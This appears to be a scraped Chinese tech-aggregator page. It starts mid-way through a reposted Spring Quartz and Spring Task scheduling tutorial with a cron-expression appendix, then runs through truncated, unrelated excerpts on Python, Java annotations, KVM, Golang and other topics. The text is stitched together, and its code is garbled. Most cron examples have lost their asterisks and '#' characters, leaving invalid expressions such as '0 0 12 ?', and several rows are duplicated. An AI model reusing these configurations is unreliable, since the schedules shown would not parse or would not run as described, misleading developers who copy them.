System.out.println("定时任务执行中…"); } } 第二步:spring配置文件中配置作业类JobDetailBean Xml代码 <bean name="job1" class="org.springframework.scheduling.quartz.JobDetailBean"> <property name="jobClass" value="com.gy.Job1" /> <property name="jobDataAsMap"> <map> <entry key="timeout" value="0" /> </map> </property> </bean> 说明:org.springframework.scheduling.quartz.JobDetailBean有两个属性,jobClass属性即我们在java代码中定义的任务类,jobDataAsMap属性即该任务类中需要注入的属性值。 第三步:配置作业调度的触发方式(触发器) Quartz的作业触发器有两种,分别是 org.springframework.scheduling.quartz.SimpleTriggerBean org.springframework.scheduling.quartz.CronTriggerBean 第一种SimpleTriggerBean,只支持按照一定频度调用任务,如每隔30分钟运行一次。 配置方式如下: Xml代码 <bean id="simpleTrigger" class="org.springframework.scheduling.quartz.SimpleTriggerBean"> <property name="jobDetail" ref="job1" /> <property name="startDelay" value="0" /><!-- 调度工厂实例化后,经过0秒开始执行调度 --> <property name="repeatInterval" value="2000" /><!-- 每2秒调度一次 --> </bean> 第二种CronTriggerBean,支持到指定时间运行一次,如每天12:00运行一次等。 配置方式如下: Xml代码 <bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean"> <property name="jobDetail" ref="job1" /> <!—每天12:00运行一次 --> <property name="cronExpression" value="0 0 12 ?" /> </bean> 关于cronExpression表达式的语法参见附录。 第四步:配置调度工厂 Xml代码 <bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean"> <property name="triggers"> <list> <ref bean="cronTrigger" /> </list> </property> </bean> 说明:该参数指定的就是之前配置的触发器的名字。 第五步:启动你的应用即可,即将工程部署至tomcat或其他容器。 第二种,作业类不继承特定基类。 Spring能够支持这种方式,归功于两个类: org.springframework.scheduling.timer.MethodInvokingTimerTaskFactoryBean org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean 这两个类分别对应spring支持的两种实现任务调度的方式,即前文提到到java自带的timer task方式和Quartz方式。这里我只写MethodInvokingJobDetailFactoryBean的用法,使用该类的好处是,我们的任务类不再需要继承自任何类,而是普通的pojo。 第一步:编写任务类 Java代码 public class Job2 { public void doJob2() { System.out.println("不继承QuartzJobBean方式-调度进行中..."); } } 可以看出,这就是一个普通的类,并且有一个方法。 第二步:配置作业类 Xml代码 <bean id="job2" class="org.springframework.scheduling.quartz.MethodInvokingJobDetailFactoryBean"> <property name="targetObject"> <bean class="com.gy.Job2" /> </property> <property name="targetMethod" value="doJob2" /> <property name="concurrent" value="false" /><!-- 作业不并发调度 --> </bean> 说明:这一步是关键步骤,声明一个MethodInvokingJobDetailFactoryBean,有两个关键属性:targetObject指定任务类,targetMethod指定运行的方法。往下的步骤就与方法一相同了,为了完整,同样贴出。 第三步:配置作业调度的触发方式(触发器) Quartz的作业触发器有两种,分别是 org.springframework.scheduling.quartz.SimpleTriggerBean org.springframework.scheduling.quartz.CronTriggerBean 第一种SimpleTriggerBean,只支持按照一定频度调用任务,如每隔30分钟运行一次。 配置方式如下: Xml代码 <bean id="simpleTrigger" class="org.springframework.scheduling.quartz.SimpleTriggerBean"> <property name="jobDetail" ref="job2" /> <property name="startDelay" value="0" /><!-- 调度工厂实例化后,经过0秒开始执行调度 --> <property name="repeatInterval" value="2000" /><!-- 每2秒调度一次 --> </bean> 第二种CronTriggerBean,支持到指定时间运行一次,如每天12:00运行一次等。 配置方式如下: Xml代码 <bean id="cronTrigger" class="org.springframework.scheduling.quartz.CronTriggerBean"> <property name="jobDetail" ref="job2" /> <!—每天12:00运行一次 --> <property name="cronExpression" value="0 0 12 ?" /> </bean> 以上两种调度方式根据实际情况,任选一种即可。 第四步:配置调度工厂 Xml代码 <bean class="org.springframework.scheduling.quartz.SchedulerFactoryBean"> <property name="triggers"> <list> <ref bean="cronTrigger" /> </list> </property> </bean> 说明:该参数指定的就是之前配置的触发器的名字。 第五步:启动你的应用即可,即将工程部署至tomcat或其他容器。 到此,spring中Quartz的基本配置就介绍完了,当然了,使用之前,要导入相应的spring的包与Quartz的包,这些就不消多说了。 其实可以看出Quartz的配置看上去还是挺复杂的,没有办法,因为Quartz其实是个重量级的工具,如果我们只是想简单的执行几个简单的定时任务,有没有更简单的工具,有! 四、Spring-Task 上节介绍了在Spring 中使用Quartz,本文介绍Spring3.0以后自主开发的定时任务工具,spring task,可以将它比作一个轻量级的Quartz,而且使用起来很简单,除spring相关的包外不需要额外的包,而且支持注解和配置文件两种 形式,下面将分别介绍这两种方式。 第一种:配置文件方式 第一步:编写作业类 即普通的pojo,如下: Java代码 import org.springframework.stereotype.Service; @Service public class TaskJob { public void job1() { System.out.println(“任务进行中。。。”); } } 第二步:在spring配置文件头中添加命名空间及描述 Xml代码 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:task="http://www.springframework.org/schema/task" 。。。。。。 xsi:schemaLocation="http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd"> 第三步:spring配置文件中设置具体的任务 Xml代码 <task:scheduled-tasks> <task:scheduled ref="taskJob" method="job1" cron="0 ?"/> </task:scheduled-tasks> <context:component-scan base-package=" com.gy.mytask " /> 说明:ref参数指定的即任务类,method指定的即需要运行的方法,cron及cronExpression表达式,具体写法这里不介绍了,详情见上篇文章附录。 <context:component-scan base-package="com.gy.mytask" />这个配置不消多说了,spring扫描注解用的。 到这里配置就完成了,是不是很简单。 第二种:使用注解形式 也许我们不想每写一个任务类还要在xml文件中配置下,我们可以使用注解@Scheduled,我们看看源文件中该注解的定义: Java代码 @Target({java.lang.annotation.ElementType.METHOD, java.lang.annotation.ElementType.ANNOTATION_TYPE}) @Retention(RetentionPolicy.RUNTIME) @Documented public @interface Scheduled { public abstract String cron(); public abstract long fixedDelay(); public abstract long fixedRate(); } 可以看出该注解有三个方法或者叫参数,分别表示的意思是: cron:指定cron表达式 fixedDelay:官方文档解释:An interval-based trigger where the interval is measured from the completion time of the previous task. The time unit value is measured in milliseconds.即表示从上一个任务完成开始到下一个任务开始的间隔,单位是毫秒。 fixedRate:官方文档解释:An interval-based trigger where the interval is measured from the start time of the previous task. The time unit value is measured in milliseconds.即从上一个任务开始到下一个任务开始的间隔,单位是毫秒。 下面我来配置一下。 第一步:编写pojo Java代码 import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; @Component(“taskJob”) public class TaskJob { @Scheduled(cron = "0 0 3 ?") public void job1() { System.out.println(“任务进行中。。。”); } } 第二步:添加task相关的配置: Xml代码 <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:context="http://www.springframework.org/schema/context" xmlns:tx="http://www.springframework.org/schema/tx" xmlns:task="http://www.springframework.org/schema/task" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/jdbc/spring-jdbc-3.0.xsd http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd http://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsd" default-lazy-init="false"> <context:annotation-config /> <!—spring扫描注解的配置 --> <context:component-scan base-package="com.gy.mytask" /> <!—开启这个配置,spring才能识别@Scheduled注解 --> <task:annotation-driven scheduler="qbScheduler" mode="proxy"/> <task:scheduler id="qbScheduler" pool-size="10"/> 说明:理论上只需要加上<task:annotation-driven />这句配置就可以了,这些参数都不是必须的。 Ok配置完毕,当然spring task还有很多参数,我就不一一解释了,具体参考xsd文档http://www.springframework.org/schema/task/spring-task-3.0.xsd。 附录: cronExpression的配置说明,具体使用以及参数请百度google 字段 允许值 允许的特殊字符 秒 0-59 , - / 分 0-59 , - / 小时 0-23 , - / 日期 1-31 , - ? / L W C 月份 1-12 或者 JAN-DEC , - / 星期 1-7 或者 SUN-SAT , - ? / L C 年(可选) 留空, 1970-2099 , - / - 区间 通配符 ? 你不想设置那个字段 下面只例出几个式子 CRON表达式 含义 "0 0 12 ?" 每天中午十二点触发 "0 15 10 ? " 每天早上10:15触发 "0 15 10 ?" 每天早上10:15触发 "0 15 10 ? " 每天早上10:15触发 "0 15 10 ? 2005" 2005年的每天早上10:15触发 "0 14 ?" 每天从下午2点开始到2点59分每分钟一次触发 "0 0/5 14 ?" 每天从下午2点开始到2:55分结束每5分钟一次触发 "0 0/5 14,18 ?" 每天的下午2点至2:55和6点至6点55分两个时间段内每5分钟一次触发 "0 0-5 14 ?" 每天14:00至14:05每分钟一次触发 "0 10,44 14 ? 3 WED" 三月的每周三的14:10和14:44触发 "0 15 10 ? MON-FRI" 每个周一、周二、周三、周四、周五的10:15触发 Cron 表达式包括以下 7 个字段: 秒 分 小时 月内日期 月 周内日期 年(可选字段) 特殊字符 Cron 触发器利用一系列特殊字符,如下所示: 反斜线(/)字符表示增量值。例如,在秒字段中“5/15”代表从第 5 秒开始,每 15 秒一次。 问号(?)字符和字母 L 字符只有在月内日期和周内日期字段中可用。问号表示这个字段不包含具体值。所以,如果指定月内日期,可以在周内日期字段中插入“?”,表示周内日期值无关紧要。字母 L 字符是 last 的缩写。放在月内日期字段中,表示安排在当月最后一天执行。在周内日期字段中,如果“L”单独存在,就等于“7”,否则代表当月内周内日期的最后一个实例。所以“0L”表示安排在当月的最后一个星期日执行。 在月内日期字段中的字母(W)字符把执行安排在最靠近指定值的工作日。把“1W”放在月内日期字段中,表示把执行安排在当月的第一个工作日内。 井号()字符为给定月份指定具体的工作日实例。把“MON2”放在周内日期字段中,表示把任务安排在当月的第二个星期一。 星号()字符是通配字符,表示该字段可以接受任何可能的值。 字段 允许值 允许的特殊字符 秒 0-59 , - / 分 0-59 , - / 小时 0-23 , - / 日期 1-31 , - ? / L W C 月份 1-12 或者 JAN-DEC , - / 星期 1-7 或者 SUN-SAT , - ? / L C 年(可选) 留空, 1970-2099 , - / 表达式意义 "0 0 12 ?" 每天中午12点触发 "0 15 10 ? " 每天上午10:15触发 "0 15 10 ?" 每天上午10:15触发 "0 15 10 ? " 每天上午10:15触发 "0 15 10 ? 2005" 2005年的每天上午10:15触发 "0 14 ?" 在每天下午2点到下午2:59期间的每1分钟触发 "0 0/5 14 ?" 在每天下午2点到下午2:55期间的每5分钟触发 "0 0/5 14,18 ?" 在每天下午2点到2:55期间和下午6点到6:55期间的每5分钟触发 "0 0-5 14 ?" 在每天下午2点到下午2:05期间的每1分钟触发 "0 10,44 14 ? 3 WED" 每年三月的星期三的下午2:10和2:44触发 "0 15 10 ? MON-FRI" 周一至周五的上午10:15触发 "0 15 10 15 ?" 每月15日上午10:15触发 "0 15 10 L ?" 每月最后一日的上午10:15触发 "0 15 10 ? 6L" 每月的最后一个星期五上午10:15触发 "0 15 10 ? 6L 2002-2005" 2002年至2005年的每月的最后一个星期五上午10:15触发 "0 15 10 ? 63" 每月的第三个星期五上午10:15触发 每天早上6点 0 6 每两个小时 0 /2 晚上11点到早上8点之间每两个小时,早上八点 0 23-7/2,8 每个月的4号和每个礼拜的礼拜一到礼拜三的早上11点 0 11 4 1-3 1月1日早上4点 0 4 1 1 本篇文章为转载内容。原文链接:https://zhanghaiyang.blog.csdn.net/article/details/51397459。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-27 18:50:19
344
转载
转载文章
...更新失败时的自我修复机制,大幅减少了因更新导致的系统反复重启现象。此外,对于远程桌面连接与管理,微软增强了远程桌面服务的安全防护,通过改进身份验证方式确保远程操作的安全性。 值得注意的是,随着隐私保护意识的增强,微软也在此次更新中加入了更多有关用户数据控制和透明度的设置选项,用户可以更加灵活地管理自己的网络历史记录和系统更新缓存文件,更好地保障个人隐私不被泄露。 同时,针对企业用户,微软继续加强了组策略编辑器(如gpedit.msc)的功能,允许IT管理员更精细化地配置网络QoS、限制保留带宽等高级网络策略,以适应不同办公环境下的网络需求。 总之,Windows操作系统持续演进,每一次重大更新都旨在提升用户体验、解决已知问题并预防潜在安全隐患。因此,及时关注并安装官方发布的系统更新补丁,是保持系统健康稳定运行的关键。广大用户应当养成定期检查更新的习惯,紧跟时代步伐,充分挖掘和利用Windows系统的最新特性与安全防护能力。
2023-02-16 16:18:33
136
转载
转载文章
...以进一步探索这一强大机制在实际开发中的应用。近期,随着Python 3.10版本的发布,官方对一些特殊方法进行了优化和新增,例如__match__方法用于支持模式匹配语法,使得代码更加简洁易读。此外,在数据科学领域,NumPy库通过自定义特殊方法实现了与Python内置类型无缝衔接的高性能数组运算,如__array_ufunc__方法允许用户控制NumPy如何处理用户自定义的数据类型。 而在软件工程实践中,特殊方法更是无处不在。比如Django框架内Model类的设计就大量运用了特殊方法,如__str__用于模型对象的字符串表示,__getattr__、__setattr__等用于属性管理,以及save()方法背后的__init__、__new__等构造逻辑。这些都充分体现了Python特殊方法在构建复杂系统时的重要性。 不仅如此,对于面向对象设计原则的理解,诸如封装、多态和继承,也能够在特殊方法的使用上得到生动体现。以重载比较操作符为例,通过实现__eq__、__lt__等方法,开发者能够根据业务需求为自定义类赋予灵活而精准的比较逻辑,从而实现更符合领域特性的行为表现。 总之,Python特殊方法不仅提供了丰富的扩展能力,还在不同场景下展现了其强大的灵活性和实用性。无论是跟进最新的Python语言特性更新,还是深入研究经典开源项目源码,或是解决实际编程问题,理解并熟练运用特殊方法都是提升Python编程水平的关键所在。
2023-04-19 14:30:42
132
转载
转载文章
...atis是一个优秀的持久层框架,负责与数据库交互,提供SQL语句的映射和结果集的自动转换功能,使得开发者可以更加关注业务逻辑的实现。 B/S结构 , B/S(Browser/Server)架构,即浏览器/服务器架构,是一种典型的网络应用模式。在本文所述的腕表交易系统中,用户的操作主要通过浏览器(Browser)进行,所有的计算和业务逻辑处理都由后台服务器(Server)来完成。用户无需安装特定的客户端软件,只需通过网页访问即可实现对系统的操作和数据交互,具有部署简单、更新方便、跨平台性强等优点。 MySQL数据库 , MySQL是一款开源的关系型数据库管理系统,广泛应用于Web应用开发中。在本文描述的腕表交易系统中,MySQL承担了存储系统运行所需的各种数据的任务,如用户信息、商品详情、订单记录等。其特点是安全性高、性能优越、支持大数据量处理,并且提供了丰富的SQL查询语言接口,便于开发者根据业务需求设计合理的数据库表结构并执行高效的数据库操作。
2023-03-21 18:24:50
66
转载
转载文章
...java中使用反射的机制效率性能并不高。这里只是举例子实现注解。ButterKnife官方申明不是通过反射机制,因此效率会高点。 package cn.wsy.myretrofit;import android.os.Bundle;import android.widget.TextView;import cn.wsy.myretrofit.annotation.InjectActivity;import cn.wsy.myretrofit.annotation.LayouyInject;import cn.wsy.myretrofit.annotation.ViewInject;@LayoutInject(R.layout.activity_main)public class MainActivity extends InjectActivity {@ViewInject(R.id.textview)private TextView textView;@ViewInject(R.id.textview1)private TextView textview1;@ViewInject(R.id.textview2)private TextView textview2;@ViewInject(R.id.textview3)private TextView textview3;@ViewInject(R.id.textview4)private TextView textview4;@ViewInject(R.id.textview5)private TextView textview5;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);//设置属性textView.setText("OK");textview1.setText("OK1");textview2.setText("OK2");textview3.setText("OK3");textview4.setText("OK4");textview5.setText("OK5");} } 上面直接继承InjectActivity即可,文章上面也有说过:LayouyInject为什么作用域是TYPE,首先在加载view的时候,肯定是优先加载布局啊,ButterKnife也不例外。因此选择作用域在描述类,并且存在运行时。 二、解析Annotation原理 1、运行时 Annotation 解析 (1) 运行时 Annotation 指 @Retention 为 RUNTIME 的 Annotation,可手动调用下面常用 API 解析 method.getAnnotation(AnnotationName.class);method.getAnnotations();method.isAnnotationPresent(AnnotationName.class); 其他 @Target 如 Field,Class 方法类似 。 getAnnotation(AnnotationName.class) 表示得到该 Target 某个 Annotation 的信息,一个 Target 可以被多个 Annotation 修饰; getAnnotations() 则表示得到该 Target 所有 Annotation ; isAnnotationPresent(AnnotationName.class) 表示该 Target 是否被某个 Annotation 修饰; (2) 解析示例如下: public static void main(String[] args) {try {Class cls = Class.forName("cn.trinea.java.test.annotation.App");for (Method method : cls.getMethods()) {MethodInfo methodInfo = method.getAnnotation(MethodInfo.class);if (methodInfo != null) {System.out.println("method name:" + method.getName());System.out.println("method author:" + methodInfo.author());System.out.println("method version:" + methodInfo.version());System.out.println("method date:" + methodInfo.date());} }} catch (ClassNotFoundException e) {e.printStackTrace();} } 以之前自定义的 MethodInfo 为例,利用 Target(这里是 Method)getAnnotation 函数得到 Annotation 信息,然后就可以调用 Annotation 的方法得到响应属性值 。 2、编译时 Annotation 解析 (1) 编译时 Annotation 指 @Retention 为 CLASS 的 Annotation,甴 apt(Annotation Processing Tool) 解析自动解析。 使用方法: 自定义类集成自 AbstractProcessor; 重写其中的 process 函数 这块很多同学不理解,实际是 apt(Annotation Processing Tool) 在编译时自动查找所有继承自 AbstractProcessor 的类,然后调用他们的 process 方法去处理。 (2) 假设之前自定义的 MethodInfo 的 @Retention 为 CLASS,解析示例如下: @SupportedAnnotationTypes({ "cn.trinea.java.test.annotation.MethodInfo" })public class MethodInfoProcessor extends AbstractProcessor {@Overridepublic boolean process(Set<? extends TypeElement> annotations, RoundEnvironment env) {HashMap<String, String> map = new HashMap<String, String>();for (TypeElement te : annotations) {for (Element element : env.getElementsAnnotatedWith(te)) {MethodInfo methodInfo = element.getAnnotation(MethodInfo.class);map.put(element.getEnclosingElement().toString(), methodInfo.author());} }return false;} } SupportedAnnotationTypes 表示这个 Processor 要处理的 Annotation 名字。 process 函数中参数 annotations 表示待处理的 Annotations,参数 env 表示当前或是之前的运行环境 process 函数返回值表示这组 annotations 是否被这个 Processor 接受,如果接受后续子的 rocessor 不会再对这个 Annotations 进行处理 三、几个 Android 开源库 Annotation 原理简析 1、Retrofit (1) 调用 @GET("/users/{username}")User getUser(@Path("username") String username); (2) 定义 @Documented@Target(METHOD)@Retention(RUNTIME)@RestMethod("GET")public @interface GET {String value();} 从定义可看出 Retrofit 的 Get Annotation 是运行时 Annotation,并且只能用于修饰 Method (3) 原理 private void parseMethodAnnotations() {for (Annotation methodAnnotation : method.getAnnotations()) {Class<? extends Annotation> annotationType = methodAnnotation.annotationType();RestMethod methodInfo = null;for (Annotation innerAnnotation : annotationType.getAnnotations()) {if (RestMethod.class == innerAnnotation.annotationType()) {methodInfo = (RestMethod) innerAnnotation;break;} }……} } RestMethodInfo.java 的 parseMethodAnnotations 方法如上,会检查每个方法的每个 Annotation, 看是否被 RestMethod 这个 Annotation 修饰的 Annotation 修饰,这个有点绕,就是是否被 GET、DELETE、POST、PUT、HEAD、PATCH 这些 Annotation 修饰,然后得到 Annotation 信息,在对接口进行动态代理时会掉用到这些 Annotation 信息从而完成调用。 因为 Retrofit 原理设计到动态代理,这里只介绍 Annotation。 2、Butter Knife (1) 调用 @InjectView(R.id.user) EditText username; (2) 定义 @Retention(CLASS) @Target(FIELD)public @interface InjectView {int value();} 可看出 Butter Knife 的 InjectView Annotation 是编译时 Annotation,并且只能用于修饰属性 (3) 原理 @Override public boolean process(Set<? extends TypeElement> elements, RoundEnvironment env) {Map<TypeElement, ViewInjector> targetClassMap = findAndParseTargets(env);for (Map.Entry<TypeElement, ViewInjector> entry : targetClassMap.entrySet()) {TypeElement typeElement = entry.getKey();ViewInjector viewInjector = entry.getValue();try {JavaFileObject jfo = filer.createSourceFile(viewInjector.getFqcn(), typeElement);Writer writer = jfo.openWriter();writer.write(viewInjector.brewJava());writer.flush();writer.close();} catch (IOException e) {error(typeElement, "Unable to write injector for type %s: %s", typeElement, e.getMessage());} }return true;} ButterKnifeProcessor.java 的 process 方法如上,编译时,在此方法中过滤 InjectView 这个 Annotation 到 targetClassMap 后,会根据 targetClassMap 中元素生成不同的 class 文件到最终的 APK 中,然后在运行时调用 ButterKnife.inject(x) 函数时会到之前编译时生成的类中去找。 3、ActiveAndroid (1) 调用 @Column(name = “Name") public String name; (2) 定义 @Target(ElementType.FIELD)@Retention(RetentionPolicy.RUNTIME)public @interface Column {……} 可看出 ActiveAndroid 的 Column Annotation 是运行时 Annotation,并且只能用于修饰属性 (3) 原理 Field idField = getIdField(type);mColumnNames.put(idField, mIdName);List<Field> fields = new LinkedList<Field>(ReflectionUtils.getDeclaredColumnFields(type));Collections.reverse(fields);for (Field field : fields) {if (field.isAnnotationPresent(Column.class)) {final Column columnAnnotation = field.getAnnotation(Column.class);String columnName = columnAnnotation.name();if (TextUtils.isEmpty(columnName)) {columnName = field.getName();}mColumnNames.put(field, columnName);} } TableInfo.java 的构造函数如上,运行时,得到所有行信息并存储起来用来构件表信息。 ———————————————————————— 最后一个问题,看看这段代码最后运行结果: public class Person {private int id;private String name;public Person(int id, String name) {this.id = id;this.name = name;}public boolean equals(Person person) {return person.id == id;}public int hashCode() {return id;}public static void main(String[] args) {Set<Person> set = new HashSet<Person>();for (int i = 0; i < 10; i++) {set.add(new Person(i, "Jim"));}System.out.println(set.size());} } 答案:示例代码运行结果应该是 10 而不是 1,这个示例代码程序实际想说明的是标记型注解 Override 的作用,为 equals 方法加上 Override 注解就知道 equals 方法的重载是错误的,参数不对。 本篇文章为转载内容。原文链接:https://blog.csdn.net/csdn_aiyang/article/details/81564408。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-28 22:30:35
104
转载
转载文章
...超分辨率技术、注意力机制等,进一步提高识别系统的鲁棒性和精度。 值得注意的是,云端训练与边缘计算的结合正在为OpenMV等嵌入式设备提供强大的后盾支持。例如,阿里云IoT部门最近推出的云端-边缘协同训练方案,允许用户在云端完成大规模数据训练后,将轻量化模型部署至OpenMV等终端设备上,既保证了模型性能,又降低了设备存储和计算压力,对于推动智能硬件在数字识别领域的广泛应用具有深远意义。 总之,在当今AI技术蓬勃发展的大背景下,OpenMV作为微型计算机视觉平台的角色愈发重要,其在手写数字识别项目中的实践不仅体现了技术的先进性,也昭示着未来物联网设备智能化的发展趋势。
2024-01-10 08:44:41
282
转载
转载文章
...败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vcp4lgAZ-1596980494935)(libvirt.jpg)] 二、KVM虚拟机和VMware区别 虚拟机监控程序(KVM)是虚拟化平台的根基。从传统供应商到各种开源替代品,可供选择的虚拟机监控程序有很多。 VMware 是一款实现虚拟化的热门产品,可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。 基于内核的虚拟机(KVM)则是 Linux® 系统上的一种开源解决方案。 VMware vSphere 与 VMware ESXi VMware 可以提供 ESXi 虚拟机监控程序和 vSphere 虚拟化平台。VMware ESXi 是一个能够直接安装到物理服务器上的裸机虚拟机监控程序,可以帮你整合硬件。你可以用 VMware 的虚拟化技术来创建和部署虚拟机(VM),从而现代化改造自己的基础架构,来交付和管理各种新旧应用。 选用 VMware vSphere 后,你需要使用 VMware 的控制堆栈来管理虚拟机,而且有多个许可证授权级别可供使用。 KVM 开源虚拟化技术 KVM 是一种开源虚拟化技术,能将 Linux 内核转变成可以实现虚拟化的虚拟机监控程序,而且可以替代专有的虚拟化技术(比如 VMware 提供的专有虚拟化技术)。 迁移到基于 KVM 的虚拟化平台,你就可以检查、修改和完善虚拟机监控程序背后的源代码。能够访问源代码,就如同掌握了开启无限可能的钥匙,能够让你虚拟化传统工作负载和应用,并为云原生和基于容器的工作负载奠定基础。由于 KVM 内置于 Linux 内核中,所以使用和部署起来非常方便。 KVM 虚拟机和 VMware vSphere 的主要区别 VMware 可以提供一个完善稳定的虚拟机监控程序,以及出色的性能和多样化的功能。但是,专有虚拟化会阻碍你获得开展云、容器和自动化投资所需的资源。解除供应商锁定,你就可以任享自由、灵活与丰富的资源,从而为未来的云原生和容器化环境打下基础。 生产就绪型的 KVM 具有支持物理和虚拟基础架构的功能,可以让你以更低的运营成本为企业工作负载提供支持。相比使用 VMware vSphere 等其他解决方案,选用基于 KVM 的虚拟化选项能够带来很多优势。 开源Linux KVM的优势: 更低的总拥有成本,从而省下运营预算,用来探索现代化创新技术。 不再受供应商捆绑。无需为不用的产品付费,也不会受到软件选择限制。 跨平台互操作性:KVM 可以在 Linux 和 Windows 平台上运行,所以你可以充分利用现有的基础架构投资。 出色简便性:可以通过单个虚拟化平台,在数百个其他硬件或软件上创建、启动、停止、暂停、迁移和模板化数百个虚拟机。 卓越性能:应用在 KVM 上的运行速度比其他虚拟机监控程序都快。 开源优势:不但能访问源代码,还能灵活地与各种产品集成。 享受 Linux 操作系统的现有功能: 安全防护功能 内存管理 进程调度器 设备驱动程序 网络堆栈 红帽 KVM 企业级虚拟化的优势 选择红帽® 虚拟化,就等于选择了 KVM。红帽虚拟化是一款适用于虚拟化服务器和技术工作站的完整基础架构解决方案。红帽虚拟化基于强大的红帽企业 Linux® 平台和 KVM 构建而成,能让你轻松、敏捷、安全地使用资源密集型虚拟化工作负载。红帽虚拟化可凭借更加优越的性能、具有竞争力的价格和值得信赖的红帽环境,帮助企业优化 IT 基础架构。 红帽的虚拟化产品快速、经济、高效,能够帮助你从容应对当前的挑战,并为未来的技术发展奠定基础。VMware 等供应商提供的纵向扩展虚拟化解决方案不但成本高昂,而且无法帮助企业完成所需的转型,因而难以支持在混合云中运行云原生应用。要转而部署混合云环境,第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux(SELinux),是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 业完成所需的转型,因而难以支持在混合云中运行云原生应用。要转而部署混合云环境,第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux(SELinux),是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 借助红帽虚拟化,你可以尽享开源虚拟机监控程序的所有优势,还能获得企业级技术支持、更新和补丁,使你的环境保持最新状态,持续安心运行。开源和 RESTful API,以及 Microsoft Windows 的认证,可帮你实现跨平台的互操作性。提供的 API 和软件开发工具包(SDK)则有助于将我们的解决方案扩展至你现有和首选管理工具,并提供相关支持。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_34799070/article/details/107900861。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-06 08:58:59
121
转载
Golang
...协程和高效的垃圾回收机制显著提升了系统的响应速度和稳定性。此外,Golang的跨平台编译能力也让Netflix能够更轻松地部署和管理在全球范围内的服务器集群。 与此同时,国内的科技巨头也在积极拥抱Golang。阿里巴巴集团旗下的蚂蚁金服和阿里云相继推出了基于Golang的开源项目,如Dubbo-go和PolarDB-X。这些项目不仅展示了Golang在企业级应用中的潜力,也为其他开发者提供了丰富的学习资源。特别是在金融和电商领域,Golang凭借其高性能和低延迟的优势,正在逐步取代Java等传统语言。 值得一提的是,Golang的快速发展也引发了学术界的高度关注。近期,一篇发表在《ACM Computing Surveys》上的论文指出,Golang的设计哲学与现代软件工程的最佳实践高度契合。论文作者认为,Golang的成功不仅仅在于其技术特性,还在于它重新定义了开发者的工作方式,使其更加专注于业务逻辑而非底层实现细节。 展望未来,随着5G、物联网和人工智能等新技术的兴起,Golang有望在更多领域大放异彩。无论是边缘计算、大数据处理还是实时数据分析,Golang都展现出了巨大的潜力。正如Google Go团队负责人Robert Griesemer所说:“Golang的目标始终是让开发者能够更快、更好地完成工作。”这种理念无疑将继续引领技术发展的潮流。
2025-04-23 15:46:59
39
桃李春风一杯酒
转载文章
...ener实现事件处理机制,完成界面布局切换、图片显示以及响应用户操作等功能。 JPanel , 在Java Swing库中,JPanel是一个轻量级容器组件,它是所有容器类的基础。在本文实例中,作者创建了多个不同颜色边框的JPanel对象(如jpRed、jpPink、jpBlueRightBottom1等),并通过编程方式设置它们的位置、大小及可见性,以实现在同一窗口内动态切换不同的子界面或面板。 JTree , JTree是Swing库提供的一个组件,它主要用于展示树形结构的数据,每个节点可以包含文本、图标或者其他数据。在本文示例代码中,JTree组件(JTree1和JTree2)被添加到窗体中,并实现了TreeSelectionListener接口,当用户点击树节点时,会触发相应事件并弹出新的登录窗体,展示了如何利用JTree与用户进行交互并根据用户选择做出反应。 ActionListener , 在Java Swing编程框架中,ActionListener是一个监听器接口,它用于监听按钮、菜单项等UI组件上的动作事件(如点击)。在本文的上下文中,通过实现ActionListener接口并注册到按钮anNiu1和anNiu2上,程序能够捕捉到用户对按钮的点击动作,并执行相应的事件处理方法,从而实现界面布局的动态切换功能。
2023-01-18 08:36:23
525
转载
转载文章
...SN)、增强信息安全机制等。 综上所述,深入研究OPC UA的实际应用场景及其在国内外工业领域内的政策导向和技术革新,对于理解和掌握现代工业通信技术的发展具有重要指导意义。紧跟行业动态,了解OPC UA如何赋能制造业数字化转型,将有助于我们更好地应对未来挑战并抓住机遇。
2023-05-10 18:43:00
269
转载
转载文章
